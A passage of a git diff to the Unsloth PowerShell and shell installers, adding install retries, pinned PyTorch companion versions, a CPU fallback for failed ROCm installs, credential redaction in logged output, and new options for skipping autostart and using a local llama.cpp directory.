PyTorch (--no-torch flag set)." "Yellow" } elseif ($ROCmIndexUrl) { Write-TauriLog "STEP" "Installing PyTorch (AMD ROCm Windows)" - substep "installing PyTorch from $ROCmIndexUrl..." + substep "installing PyTorch from $(Remove-IndexUrlCredentials $ROCmIndexUrl)..." $torchSpec = if ($ROCmTorchFloor) { $ROCmTorchFloor } else { "torch" } - $torchInstallExit = Invoke-InstallCommand { uv pip install --python $VenvPython --force-reinstall --index-url $ROCmIndexUrl $torchSpec torchvision torchaudio } + # Pin the companions to match $torchSpec; bare names can resolve an + # ABI-incompatible torchvision/torchaudio on AMD's per-arch index. + $visionSpec = if ($PinnedRocmVisionSpec) { $PinnedRocmVisionSpec } elseif ($ROCmGfxArch -and $torchvisionFloorMap -and $torchvisionFloorMap.ContainsKey($ROCmGfxArch)) { $torchvisionFloorMap[$ROCmGfxArch] } else { "torchvision" } + $audioSpec = if ($PinnedRocmAudioSpec) { $PinnedRocmAudioSpec } elseif ($ROCmGfxArch -and $torchaudioFloorMap -and $torchaudioFloorMap.ContainsKey($ROCmGfxArch)) { $torchaudioFloorMap[$ROCmGfxArch] } else { "torchaudio" } + $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch (AMD ROCm)" { uv pip install --python $VenvPython --force-reinstall --default-index $ROCmIndexUrl $torchSpec $visionSpec $audioSpec } if ($torchInstallExit -ne 0) { - Write-Host "[ERROR] Failed to install AMD ROCm PyTorch (exit code $torchInstallExit)" -ForegroundColor Red - return (Exit-InstallFailure "Failed to install AMD ROCm PyTorch (exit code $torchInstallExit)" $torchInstallExit) + # Transient AMD-index failure: fall back to a CPU base (Unsloth setup retries + # ROCm). Use an explicit CPU index -- for a pinned ROCm index $TorchIndexUrl IS + # the ROCm mirror, so reusing it would just retry it. + $CpuFallbackIndexUrl = if ($env:UNSLOTH_PYTORCH_MIRROR) { "$($env:UNSLOTH_PYTORCH_MIRROR.TrimEnd('/'))/cpu" } else { "https://download.pytorch.org/whl/cpu" } + substep "ROCm PyTorch install failed (exit $torchInstallExit); using a CPU base, Unsloth setup retries ROCm." "Yellow" + # --force-reinstall: a failed ROCm install can leave an unpinned ROCm + # torch (e.g. 2.10.0+rocm on gfx110X/gfx90a) that still satisfies the CPU + # torch>= range, so without it uv would keep the ROCm build and only swap + # the companions -- a mismatched venv the flavor-repair block won't fix. + $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch (CPU fallback)" { uv pip install --python $VenvPython --force-reinstall "torch>=2.4,<2.11.0" "torchvision>=0.19,<0.26.0" "torchaudio>=2.4,<2.11.0" --default-index $CpuFallbackIndexUrl } + if ($torchInstallExit -ne 0) { + Write-Host "[ERROR] Failed to install PyTorch (ROCm and CPU base both failed, exit code $torchInstallExit)" -ForegroundColor Red + return (Exit-InstallFailure "Failed to install PyTorch (exit code $torchInstallExit)" $torchInstallExit) + } + # CPU base is in; drop the ROCm expectation so the flavor-repair + # block below won't retry the just-failed index and abort. setup.ps1 + # reinstalls ROCm afterwards (recomputes its own index URL). + $ROCmIndexUrl = $null + $ROCmTorchFloor = $null } } else { Write-TauriLog "STEP" "Installing PyTorch" - substep "installing PyTorch ($TorchIndexUrl)..." - $torchInstallExit = Invoke-InstallCommand { uv pip install --python $VenvPython "torch>=2.4,<2.11.0" torchvision torchaudio --index-url $TorchIndexUrl } + # Windows on ARM lacks only torchaudio (whl/cpu win_arm64: torch 42, + # torchvision 60, torchaudio 0), so drop that pin instead of aborting. Ask the + # interpreter, not PROCESSOR_ARCHITECTURE; reached when no x64 Python exists. + $VenvPlatform = "" + try { + $VenvPlatform = (& $VenvPython -c "import sysconfig; print(sysconfig.get_platform())" 2>$null | Out-String).Trim().ToLowerInvariant() + } catch { $VenvPlatform = "" } + substep "installing PyTorch ($(Remove-IndexUrlCredentials $TorchIndexUrl))..." + # Bound the companions to the capped torch on EVERY index, cu + # families included: torchaudio 2.11 dropped its exact torch pin from + # the wheel metadata, so a bare companion next to torch<2.11 can + # resolve a mismatched 2.11.0 build. Mirrors install.sh. + $_pinVisionSpec = "torchvision>=0.19,<0.26.0" + $_pinAudioSpec = "torchaudio>=2.4,<2.11.0" + $_torchSpecs = @("torch>=2.4,<2.11.0", $_pinVisionSpec, $_pinAudioSpec) + if ($VenvPlatform -eq "win-arm64") { + substep "windows on arm: skipping torchaudio (upstream publishes no" + substep "win_arm64 wheel); torch and torchvision install normally." + $_torchSpecs = @("torch>=2.4,<2.11.0", $_pinVisionSpec) + } + $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch" { uv pip install --python $VenvPython @_torchSpecs --default-index $TorchIndexUrl } if ($torchInstallExit -ne 0) { Write-Host "[ERROR] Failed to install PyTorch (exit code $torchInstallExit)" -ForegroundColor Red return (Exit-InstallFailure "Failed to install PyTorch (exit code $torchInstallExit)" $torchInstallExit) @@ -1984,21 +2595,21 @@ shell.Run cmd, 0, False if ($SkipTorch) { # No-torch: install unsloth + unsloth-zoo with --no-deps, then # runtime deps (typer, safetensors, transformers, etc.) with --no-deps. - $baseInstallExit = Invoke-InstallCommand { uv pip install --python $VenvPython --no-deps --upgrade-package unsloth --upgrade-package unsloth-zoo "unsloth>=2026.6.7" unsloth-zoo } + $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (no-torch)" { uv pip install --python $VenvPython --no-deps --upgrade-package unsloth --upgrade-package unsloth-zoo "unsloth>=2026.7.5" "unsloth-zoo>=2026.7.6" } if ($baseInstallExit -eq 0) { # Same pydantic-with-deps trick as the migrated branch. - $baseInstallExit = Invoke-InstallCommand { uv pip install --python $VenvPython pydantic } + $baseInstallExit = Invoke-InstallCommandRetry -Label "install pydantic" { uv pip install --python $VenvPython pydantic } } if ($baseInstallExit -eq 0) { $NoTorchReq = Find-NoTorchRuntimeFile if ($NoTorchReq) { - $baseInstallExit = Invoke-InstallCommand { uv pip install --python $VenvPython --no-deps -r $NoTorchReq } + $baseInstallExit = Invoke-InstallCommandRetry -Label "install no-torch runtime deps" { uv pip install --python $VenvPython --no-deps -r $NoTorchReq } } } } elseif ($StudioLocalInstall) { - $baseInstallExit = Invoke-InstallCommand { uv pip install --python $VenvPython --upgrade-package unsloth "unsloth>=2026.6.7" unsloth-zoo } + $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (local)" { uv pip install --python $VenvPython --upgrade-package unsloth "unsloth>=2026.7.5" "unsloth-zoo>=2026.7.6" } } else { - $baseInstallExit = Invoke-InstallCommand { uv pip install --python $VenvPython --upgrade-package unsloth -- "$PackageName" } + $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth" { uv pip install --python $VenvPython --upgrade-package unsloth -- "$PackageName" } } if ($baseInstallExit -ne 0) { Write-Host "[ERROR] Failed to install unsloth (exit code $baseInstallExit)" -ForegroundColor Red @@ -2007,13 +2618,13 @@ shell.Run cmd, 0, False if ($StudioLocalInstall) { substep "overlaying local repo (editable)..." - $overlayExit = Invoke-InstallCommand { uv pip install --python $VenvPython -e $RepoRoot --no-deps } + $overlayExit = Invoke-InstallCommand -Label "overlay local repo" { uv pip install --python $VenvPython -e $RepoRoot --no-deps } if ($overlayExit -ne 0) { Write-Host "[ERROR] Failed to overlay local repo (exit code $overlayExit)" -ForegroundColor Red return (Exit-InstallFailure "Failed to overlay local repo (exit code $overlayExit)" $overlayExit) } substep "overlaying unsloth-zoo from git main..." - $zooOverlayExit = Invoke-InstallCommand { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth-zoo "unsloth-zoo @ git+https://github.com/unslothai/unsloth-zoo" } + $zooOverlayExit = Invoke-InstallCommandRetry -Label "overlay unsloth-zoo (git main)" { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth-zoo "unsloth-zoo @ git+https://github.com/unslothai/unsloth-zoo" } if ($zooOverlayExit -ne 0) { Write-Host "[ERROR] Failed to overlay unsloth-zoo (exit code $zooOverlayExit)" -ForegroundColor Red return (Exit-InstallFailure "Failed to overlay unsloth-zoo (exit code $zooOverlayExit)" $zooOverlayExit) @@ -2024,25 +2635,25 @@ shell.Run cmd, 0, False Write-TauriLog "STEP" "Installing unsloth" substep "installing unsloth (this may take a few minutes)..." if ($StudioLocalInstall) { - $baseInstallExit = Invoke-InstallCommand { uv pip install --python $VenvPython unsloth-zoo "unsloth>=2026.6.7" --torch-backend=auto } + $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (auto torch backend)" { uv pip install --python $VenvPython "unsloth-zoo>=2026.7.6" "unsloth>=2026.7.5" --torch-backend=auto } if ($baseInstallExit -ne 0) { Write-Host "[ERROR] Failed to install unsloth (exit code $baseInstallExit)" -ForegroundColor Red return (Exit-InstallFailure "Failed to install unsloth (exit code $baseInstallExit)" $baseInstallExit) } substep "overlaying local repo (editable)..." - $overlayExit = Invoke-InstallCommand { uv pip install --python $VenvPython -e $RepoRoot --no-deps } + $overlayExit = Invoke-InstallCommand -Label "overlay local repo" { uv pip install --python $VenvPython -e $RepoRoot --no-deps } if ($overlayExit -ne 0) { Write-Host "[ERROR] Failed to overlay local repo (exit code $overlayExit)" -ForegroundColor Red return (Exit-InstallFailure "Failed to overlay local repo (exit code $overlayExit)" $overlayExit) } substep "overlaying unsloth-zoo from git main..." - $zooOverlayExit = Invoke-InstallCommand { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth-zoo "unsloth-zoo @ git+https://github.com/unslothai/unsloth-zoo" } + $zooOverlayExit = Invoke-InstallCommandRetry -Label "overlay unsloth-zoo (git main)" { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth-zoo "unsloth-zoo @ git+https://github.com/unslothai/unsloth-zoo" } if ($zooOverlayExit -ne 0) { Write-Host "[ERROR] Failed to overlay unsloth-zoo (exit code $zooOverlayExit)" -ForegroundColor Red return (Exit-InstallFailure "Failed to overlay unsloth-zoo (exit code $zooOverlayExit)" $zooOverlayExit) } } else { - $baseInstallExit = Invoke-InstallCommand { uv pip install --python $VenvPython --torch-backend=auto -- "$PackageName" } + $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (auto torch backend)" { uv pip install --python $VenvPython --torch-backend=auto -- "$PackageName" } if ($baseInstallExit -ne 0) { Write-Host "[ERROR] Failed to install unsloth (exit code $baseInstallExit)" -ForegroundColor Red return (Exit-InstallFailure "Failed to install unsloth (exit code $baseInstallExit)" $baseInstallExit) @@ -2050,6 +2661,61 @@ shell.Run cmd, 0, False } } + $installedPackageVersion = (& $VenvPython -c "from importlib.metadata import version; import sys; print(version(sys.argv[1]))" $PackageName 2>$null | Out-String).Trim() + if ($LASTEXITCODE -eq 0 -and $installedPackageVersion) { + step $PackageName "$installedPackageVersion installed" + } else { + substep "[WARN] installed $PackageName version could not be determined" "Yellow" + } + + # ── Enforce the installed torch flavor matches the detected GPU build ── + # PEP 440 ignores the +cpu/+cuXXX/+rocm local label in a version range, so uv + # keeps a stale torch==X+cpu against a CUDA index and setup.ps1 then loops on + # "torch cpu != required cuXXX". Reinstall the right triplet when a GPU build is + # expected: CUDA from $TorchIndexUrl, ROCm from $ROCmIndexUrl (repo.amd.com gfx* + # is a PEP 503 index uv resolves via --default-index, same URL the fresh ROCm install + # above uses). --no-torch / CPU-only hosts (expected cpu) are no-ops. + if (-not $SkipTorch) { + $expectedTorchTag = Get-ExpectedTorchFlavorTag -TorchIndexUrl $TorchIndexUrl -ROCmIndexUrl $ROCmIndexUrl + if ($expectedTorchTag -and $expectedTorchTag -ne 'cpu') { + $installedTorchTag = Get-InstalledTorchTag -PythonExe $VenvPython + if ($installedTorchTag -and $installedTorchTag -ne $expectedTorchTag) { + if ($expectedTorchTag -eq 'rocm' -and $ROCmIndexUrl) { + # AMD: a migrated venv can keep a stale CPU torch the fresh ROCm path + # would have force-reinstalled. Repair from the same repo.amd.com index. + $rocmSpec = if ($ROCmTorchFloor) { $ROCmTorchFloor } else { "torch" } + # Pin companions like the fresh ROCm path (bare names can pull an + # ABI-incompatible torchvision/torchaudio from the per-arch index). + $visionSpec = if ($PinnedRocmVisionSpec) { $PinnedRocmVisionSpec } elseif ($ROCmGfxArch -and $torchvisionFloorMap -and $torchvisionFloorMap.ContainsKey($ROCmGfxArch)) { $torchvisionFloorMap[$ROCmGfxArch] } else { "torchvision" } + $audioSpec = if ($PinnedRocmAudioSpec) { $PinnedRocmAudioSpec } elseif ($ROCmGfxArch -and $torchaudioFloorMap -and $torchaudioFloorMap.ContainsKey($ROCmGfxArch)) { $torchaudioFloorMap[$ROCmGfxArch] } else { "torchaudio" } + substep "PyTorch flavor mismatch (installed $installedTorchTag, need ROCm) -- reinstalling correct build..." "Yellow" + $torchFixExit = Invoke-InstallCommand -Label "reinstall PyTorch (ROCm)" { uv pip install --python $VenvPython --force-reinstall --default-index $ROCmIndexUrl $rocmSpec $visionSpec $audioSpec } + if ($torchFixExit -ne 0) { + Write-Host "[ERROR] Failed to reinstall PyTorch with the correct ROCm build (exit code $torchFixExit)" -ForegroundColor Red + return (Exit-InstallFailure "Failed to reinstall PyTorch (ROCm) (exit code $torchFixExit)" $torchFixExit) + } + $installedTorchTag = Get-InstalledTorchTag -PythonExe $VenvPython + } elseif ($expectedTorchTag -ne 'rocm') { + # CUDA: stale +cpu (or wrong cuXXX) against a CUDA index -> reinstall triplet. + substep "PyTorch flavor mismatch (installed $installedTorchTag, need $expectedTorchTag) -- reinstalling correct build..." "Yellow" + $torchFixExit = Invoke-InstallCommand -Label "reinstall PyTorch ($expectedTorchTag)" { uv pip install --python $VenvPython "torch>=2.4,<2.11.0" "torchvision>=0.19,<0.26.0" "torchaudio>=2.4,<2.11.0" --default-index $TorchIndexUrl --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio } + if ($torchFixExit -ne 0) { + Write-Host "[ERROR] Failed to reinstall PyTorch with the correct CUDA build (exit code $torchFixExit)" -ForegroundColor Red + return (Exit-InstallFailure "Failed to reinstall PyTorch ($expectedTorchTag) (exit code $torchFixExit)" $torchFixExit) + } + $installedTorchTag = Get-InstalledTorchTag -PythonExe $VenvPython + } + } + # Safety net (incl. AMD): GPU build expected but still CPU -> warn loudly. + if ($installedTorchTag -eq 'cpu') { + Write-Host "" + Write-Host " [WARN] PyTorch is CPU-only but a $expectedTorchTag GPU build was expected for this machine." -ForegroundColor Yellow + Write-Host " [WARN] Training and GPU inference will run on CPU until this is fixed." -ForegroundColor Yellow + Write-Host " [WARN] Re-run this installer, or reinstall the GPU build manually for your GPU." -ForegroundColor Yellow + } + } + } + # Overlay Tauri-bundled studio fixes that may be ahead of PyPI. Skipped # for --local: the editable install above already makes _PACKAGE_ROOT in # unsloth_cli/commands/studio.py resolve to the repo (PEP 660 __file__). @@ -2097,7 +2763,9 @@ shell.Run cmd, 0, False # ── Run studio setup ── # setup.ps1 will handle installing Git, CMake, Visual Studio Build Tools, - # CUDA Toolkit, Node.js, and other dependencies automatically via winget. + # CUDA Toolkit, and other dependencies automatically via winget. Node.js is + # NOT installed via winget -- setup.ps1 uses an isolated Node it manages and + # never touches the system Node/npm. Write-TauriLog "STEP" "Running studio setup" step "setup" "running unsloth studio setup..." $UnslothExe = Join-Path $VenvDir "Scripts\unsloth.exe" @@ -2105,7 +2773,7 @@ shell.Run cmd, 0, False Write-TauriLog "ERROR" "unsloth CLI was not installed correctly" Write-Host "[ERROR] unsloth CLI was not installed correctly." -ForegroundColor Red Write-Host " Expected: $UnslothExe" -ForegroundColor Yellow - Write-Host " This usually means an older unsloth version was installed that does not include the Studio CLI." -ForegroundColor Yellow + Write-Host " This usually means an older unsloth version was installed that does not include the Unsloth CLI." -ForegroundColor Yellow Write-Host " Try re-running the installer or see: https://github.com/unslothai/unsloth?tab=readme-ov-file#-quickstart" -ForegroundColor Yellow return (Exit-InstallFailure "unsloth CLI was not installed correctly") } @@ -2131,6 +2799,9 @@ shell.Run cmd, 0, False # an inherited value would put llama.cpp in the wrong place. $previousUnslothStudioHome = $env:UNSLOTH_STUDIO_HOME $hadPreviousUnslothStudioHome = ($null -ne $previousUnslothStudioHome) + $previousTauriMode = $env:UNSLOTH_TAURI_MODE + $hadPreviousTauriMode = ($null -ne $previousTauriMode) + $env:UNSLOTH_TAURI_MODE = if ($TauriMode) { "1" } else { "0" } if ($StudioRedirectMode -eq 'env') { $env:UNSLOTH_STUDIO_HOME = $StudioHome } else { @@ -2138,6 +2809,13 @@ shell.Run cmd, 0, False } $studioArgs = @('studio', 'setup') if ($script:UnslothVerbose) { $studioArgs += '--verbose' } + if ($WithLlamaCppDir) { + if (-not (Test-Path -LiteralPath $WithLlamaCppDir -PathType Container)) { + Write-Host "[ERROR] --with-llama-cpp-dir path does not exist: $WithLlamaCppDir" -ForegroundColor Red + return (Exit-InstallFailure "--with-llama-cpp-dir path does not exist.") + } + $env:UNSLOTH_LOCAL_LLAMA_CPP_DIR = (Resolve-Path -LiteralPath $WithLlamaCppDir).Path + } $env:UNSLOTH_INSTALL_ROLLBACK_MANAGED = "1" # Hand the venv interpreter to setup.ps1 so it reuses the Python we already # resolved and built the venv with, instead of re-probing the system (which @@ -2153,13 +2831,22 @@ shell.Run cmd, 0, False } else { Remove-Item Env:UNSLOTH_STUDIO_HOME -ErrorAction SilentlyContinue } + if ($hadPreviousTauriMode) { + $env:UNSLOTH_TAURI_MODE = $previousTauriMode + } else { + Remove-Item Env:UNSLOTH_TAURI_MODE -ErrorAction SilentlyContinue + } + Remove-Item Env:UNSLOTH_LOCAL_LLAMA_CPP_DIR -ErrorAction SilentlyContinue Remove-Item Env:UNSLOTH_INSTALL_ROLLBACK_MANAGED -ErrorAction SilentlyContinue Remove-Item Env:UNSLOTH_SETUP_PYTHON -ErrorAction SilentlyContinue } if ($setupExit -ne 0) { - Write-Host "[ERROR] unsloth studio setup failed (exit code $setupExit)" -ForegroundColor Red + if (-not $TauriMode) { + Write-Host "[ERROR] unsloth studio setup failed (exit code $setupExit)" -ForegroundColor Red + } return (Exit-InstallFailure "unsloth studio setup failed (exit code $setupExit)" $setupExit) } + Clear-TauriInstallError "studio setup completed" # ── Expose `unsloth` via a shim dir containing only unsloth.exe ── # We do NOT add the venv Scripts dir to PATH (it also holds python.exe @@ -2208,7 +2895,7 @@ shell.Run cmd, 0, False Write-Host " Move or remove it manually, then re-run the installer." -ForegroundColor Yellow throw "Cannot create unsloth launcher: $ShimExe is a directory." } - # try/catch: if unsloth.exe is locked (Studio running), keep the old shim. + # try/catch: if unsloth.exe is locked (Unsloth running), keep the old shim. $shimUpdated = $false try { if (Test-Path -LiteralPath $ShimExe) { Remove-Item -LiteralPath $ShimExe -Force -ErrorAction Stop } @@ -2226,7 +2913,7 @@ shell.Run cmd, 0, False if (Test-Path -LiteralPath $ShimExe) { Write-Host "[WARN] Could not refresh unsloth launcher at $ShimExe." -ForegroundColor Yellow Write-Host " This usually means a running 'unsloth studio' process still holds the file open." -ForegroundColor Yellow - Write-Host " Close Studio and re-run the installer to pick up the latest launcher." -ForegroundColor Yellow + Write-Host " Close Unsloth and re-run the installer to pick up the latest launcher." -ForegroundColor Yellow Write-Host " Continuing with the existing launcher." -ForegroundColor Yellow } else { Write-Host "[WARN] Could not create unsloth launcher at $ShimExe" -ForegroundColor Yellow @@ -2247,6 +2934,13 @@ shell.Run cmd, 0, False } Refresh-SessionPath # sync current session with registry Complete-StudioVenvRollback + $studioVenvReplacementCommitted = $true + Remove-StaleStudioVenvRollbacks + } finally { + if (-not $studioVenvReplacementCommitted) { + Restore-StudioVenvRollback + } + } # Env-mode session export AFTER Refresh-SessionPath; otherwise a legacy # User PATH entry (Machine > User > current $env:Path) would win. @@ -2291,9 +2985,10 @@ shell.Run cmd, 0, False # Diagnostic only; never block install on a probe failure. } - # In interactive terminals, ask the user before starting Studio. + # In interactive terminals, ask the user before starting Unsloth unless the + # caller explicitly disabled the post-install prompt. # In non-interactive environments (CI, Docker) just print instructions. - $IsInteractive = [Environment]::UserInteractive -and (-not [Console]::IsInputRedirected) + $IsInteractive = (-not $SkipAutostart) -and [Environment]::UserInteractive -and (-not [Console]::IsInputRedirected) if ($IsInteractive) { Write-Host "" $reply = Read-Host " Start Unsloth Studio now? [Y/n]" @@ -2302,7 +2997,8 @@ shell.Run cmd, 0, False } else { step "launch" "to start later, run:" substep "unsloth studio -p 8888" - substep "(add -H 0.0.0.0 to allow network / cloud access)" + substep "(add -H 0.0.0.0 for LAN / cloud access; exposes the raw port only, not a public URL)" + substep "(add -H 0.0.0.0 --cloudflare for a public Cloudflare HTTPS link, or --secure to keep the raw port private; anyone with the API key can run code)" Write-Host "" } } else { @@ -2322,7 +3018,8 @@ shell.Run cmd, 0, False substep "& $_actLiteral" substep "unsloth studio -p 8888" } - substep "(add -H 0.0.0.0 to allow network / cloud access)" + substep "(add -H 0.0.0.0 for LAN / cloud access; exposes the raw port only, not a public URL)" + substep "(add -H 0.0.0.0 --cloudflare for a public Cloudflare HTTPS link, or --secure to keep the raw port private; anyone with the API key can run code)" Write-Host "" } } diff --git a/install.sh b/install.sh index 5e08680628..166beeb52c 100755 --- a/install.sh +++ b/install.sh @@ -8,8 +8,9 @@ # # Piped installs take options as env vars after the pipe (a bare `| sh --no-torch` # makes sh reject --no-torch as its own option). Flags still work via ./install.sh: -# curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_NO_TORCH=1 sh # skip PyTorch (GGUF-only) -# curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_PYTHON=3.12 sh # pin Python version +# curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_NO_TORCH=1 sh # skip PyTorch (GGUF-only) +# curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_SKIP_AUTOSTART=1 sh # do not prompt to launch +# curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_PYTHON=3.12 sh # pin Python version # curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_STUDIO_HOME=/abs/path sh # Equivalent flags: ./install.sh --no-torch --python 3.12 (or pipe them: sh -s -- --no-torch) # @@ -18,6 +19,17 @@ # SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 set -e +# ── Why the installer lives in a function ── +# Under `curl ... | sh`, sh is the pipe READER. This file is ~150KB, so a top-level +# `exit` left most of it unread, the write end failed, and curl tacked +# "(56) Failure writing output to destination" onto our own error message. Wrapping +# the body forces sh to parse to the closing brace first, so the pipe always drains +# (install.ps1 has always had this shape). +# +# Body is deliberately NOT reindented: reflowing 4000+ lines would bury the change, +# and `exit` still exits the shell from inside a function. Do not add +# `exec < /dev/null`: for a piped shell that closes the script's own source. +_unsloth_main() { # ── Output style (aligned with studio/setup.sh) ── RULE="" @@ -49,10 +61,16 @@ PACKAGE_NAME="unsloth" TAURI_MODE=false _USER_PYTHON="" _NO_TORCH_FLAG=false +_SKIP_AUTOSTART=false _VERBOSE=false _SHORTCUTS_ONLY=false _next_is_package=false _next_is_python=false +_next_is_llama_cpp_dir=false +# Seed from the environment so a caller who exports UNSLOTH_LOCAL_LLAMA_CPP_DIR +# (the documented piped-install style) is honored; the --with-llama-cpp-dir +# flag below overrides it when given. +_WITH_LLAMA_CPP_DIR="${UNSLOTH_LOCAL_LLAMA_CPP_DIR:-}" for arg in "$@"; do if [ "$_next_is_package" = true ]; then PACKAGE_NAME="$arg" @@ -64,6 +82,11 @@ for arg in "$@"; do _next_is_python=false continue fi + if [ "$_next_is_llama_cpp_dir" = true ]; then + _WITH_LLAMA_CPP_DIR="$arg" + _next_is_llama_cpp_dir=false + continue + fi case "$arg" in --local) STUDIO_LOCAL_INSTALL=true ;; --package) _next_is_package=true ;; @@ -72,18 +95,20 @@ for arg in "$@"; do --no-torch) _NO_TORCH_FLAG=true ;; --verbose|-v) _VERBOSE=true ;; --shortcuts-only) _SHORTCUTS_ONLY=true ;; + --with-llama-cpp-dir) _next_is_llama_cpp_dir=true ;; esac done # Env-var equivalents for piped installs; an explicit flag still wins. case "${UNSLOTH_NO_TORCH:-}" in 1|true|TRUE|yes|YES|on|ON) _NO_TORCH_FLAG=true ;; esac +case "${UNSLOTH_SKIP_AUTOSTART:-}" in 1|true|TRUE|yes|YES|on|ON) _SKIP_AUTOSTART=true ;; esac [ -z "$_USER_PYTHON" ] && [ -n "${UNSLOTH_PYTHON:-}" ] && _USER_PYTHON="$UNSLOTH_PYTHON" if [ "$_VERBOSE" = true ]; then export UNSLOTH_VERBOSE=1 fi -# Custom Studio roots are not supported with --tauri (desktop app still +# Custom Unsloth roots are not supported with --tauri (desktop app still # resolves ~/.unsloth/studio). Pass through if the override == legacy default. if [ "$TAURI_MODE" = true ]; then _tauri_override_var="" @@ -145,28 +170,187 @@ run_maybe_quiet() { fi } +# Trim trailing slashes from the URL PATH only, preserving ?query / #fragment: a whole-URL +# strip corrupts a token ending in "/", a single strip leaves .../cu128// empty. Shared. +_trim_index_path_slashes() { + _tips_v="$1" + case "$_tips_v" in + *[?#]*) + _tips_head="${_tips_v%%[?#]*}" + _tips_tail="${_tips_v#"$_tips_head"}" + ;; + *) + _tips_head="$_tips_v" + _tips_tail="" + ;; + esac + while [ -n "$_tips_head" ] && [ "${_tips_head%/}" != "$_tips_head" ]; do + _tips_head="${_tips_head%/}" + done + printf '%s%s' "$_tips_head" "$_tips_tail" +} + +# Redact index-URL credentials (userinfo + ?query= + #fragment) from captured installer +# output before printing on failure; uv/pip errors echo the failing --index-url verbatim. +# Mirrors the other installers. Verbose mode streams uncaptured, so it isn't redacted. +_redact_install_output() { + sed -E \ + -e 's#(https?://)[^/@[:space:]`]+@#\1@#g' \ + -e 's#([?&][^=[:space:]&`]+)=[^&#[:space:]`]+#\1=#g' \ + -e 's|(https?://[^[:space:]`#]+)#[^[:space:]`]+|\1#|g' \ + "$@" +} + run_install_cmd() { _label="$1" shift + # Installer-pinned index installs (torch) must beat an inherited uv mirror (#6898): + # for --default-index, neutralize the uv index/backend/config vars (UV_TORCH_BACKEND + # redirects torch; UV_NO_CONFIG=1 + dropping UV_CONFIG_FILE stops a uv.toml/pyproject + # index outranking the CLI pin, uv 0.10). + case " $* " in + *" --default-index "*) set -- env -u UV_DEFAULT_INDEX -u UV_INDEX_URL -u UV_INDEX -u UV_EXTRA_INDEX_URL -u UV_TORCH_BACKEND -u UV_FIND_LINKS -u UV_CONFIG_FILE UV_NO_CONFIG=1 "$@" ;; + esac if _is_verbose; then - "$@" && return 0 - _rc=$? + # Stream through the redactor: uv echoes index URLs (credentials and + # all) in its errors, and verbose mode previously bypassed the + # redaction the quiet path applies. The rc file preserves the + # command's exit code across the pipe without relying on pipefail + # (this script runs under plain sh). + _rcf=$(mktemp) + tauri_stream_log stdout "OUTPUT_CLEAR" "$_label" + { + if "$@" 2>&1; then + _cmd_rc=0 + else + _cmd_rc=$? + fi + printf '%s' "$_cmd_rc" > "$_rcf" + } | _redact_install_output + _rc=$(cat "$_rcf" 2>/dev/null || echo 1) + rm -f "$_rcf" + _rc=${_rc:-1} + if [ "$_rc" -eq 0 ] 2>/dev/null; then + tauri_clear_install_error "$_label recovered" + return 0 + fi + tauri_stream_log stdout "ERROR_OUTPUT" "$_label failed (exit code $_rc)" step "error" "$_label failed (exit code $_rc)" "$C_ERR" >&2 return "$_rc" fi _log=$(mktemp) - "$@" >"$_log" 2>&1 && { rm -f "$_log"; return 0; } + tauri_stream_log stderr "OUTPUT_CLEAR" "$_label" + "$@" >"$_log" 2>&1 && { + rm -f "$_log" + tauri_clear_install_error "$_label recovered" + return 0 + } _rc=$? step "error" "$_label failed (exit code $_rc)" "$C_ERR" >&2 - cat "$_log" >&2 + _redact_install_output "$_log" >&2 + tauri_stream_log stderr "ERROR_OUTPUT" "$_label failed (exit code $_rc)" rm -f "$_log" return $_rc } -# Install bitsandbytes on AMD ROCm hosts. Uses the continuous-release_main -# wheel for the ROCm 4-bit GEMV fix (bnb PR #1887, post-0.49.2); bnb <= 0.49.2 -# NaNs at decode shape on every AMD GPU. Falls back to PyPI >=0.49.1 if the -# pre-release URL is unreachable. Drop the pin once bnb 0.50+ ships on PyPI. +# Retry run_install_cmd on transient uv download failures with backoff. Returns +# the last exit code on permanent failure so the set -e rollback trap still fires. +: "${UNSLOTH_INSTALL_RETRIES:=3}" +: "${UNSLOTH_INSTALL_RETRY_DELAY:=3}" +run_install_cmd_retry() { + _ricr_label="$1" + # Sanitize overrides to a default of 3 (a typo must not disable retries; =1 disables). + # Length guard precedes the numeric test so a huge value can't overflow `[ -ge ]`. + # 0?* rejects leading-zero delays ("08"/"09" break the later $((delay*2)) as octal); + # bare "0" stays valid. Bounds: 1..100 retries, 0..3600s base delay. + case "$UNSLOTH_INSTALL_RETRIES" in + ''|*[!0-9]*|0) _ricr_max=3 ;; + *) if [ "${#UNSLOTH_INSTALL_RETRIES}" -le 3 ] && [ "$UNSLOTH_INSTALL_RETRIES" -ge 1 ] 2>/dev/null && [ "$UNSLOTH_INSTALL_RETRIES" -le 100 ] 2>/dev/null; then _ricr_max=$UNSLOTH_INSTALL_RETRIES; else _ricr_max=3; fi ;; + esac + case "$UNSLOTH_INSTALL_RETRY_DELAY" in + ''|*[!0-9]*|0?*) _ricr_delay=3 ;; + *) if [ "${#UNSLOTH_INSTALL_RETRY_DELAY}" -le 4 ] && [ "$UNSLOTH_INSTALL_RETRY_DELAY" -ge 0 ] 2>/dev/null && [ "$UNSLOTH_INSTALL_RETRY_DELAY" -le 3600 ] 2>/dev/null; then _ricr_delay=$UNSLOTH_INSTALL_RETRY_DELAY; else _ricr_delay=3; fi ;; + esac + _ricr_attempt=1 + while :; do + # AND-OR (not `if`) preserves the real failure code: $? after a non-taken + # `if` is 0 in sh/dash/bash, which would break the rollback path. + run_install_cmd "$@" && return 0 + _ricr_rc=$? + if [ "$_ricr_attempt" -ge 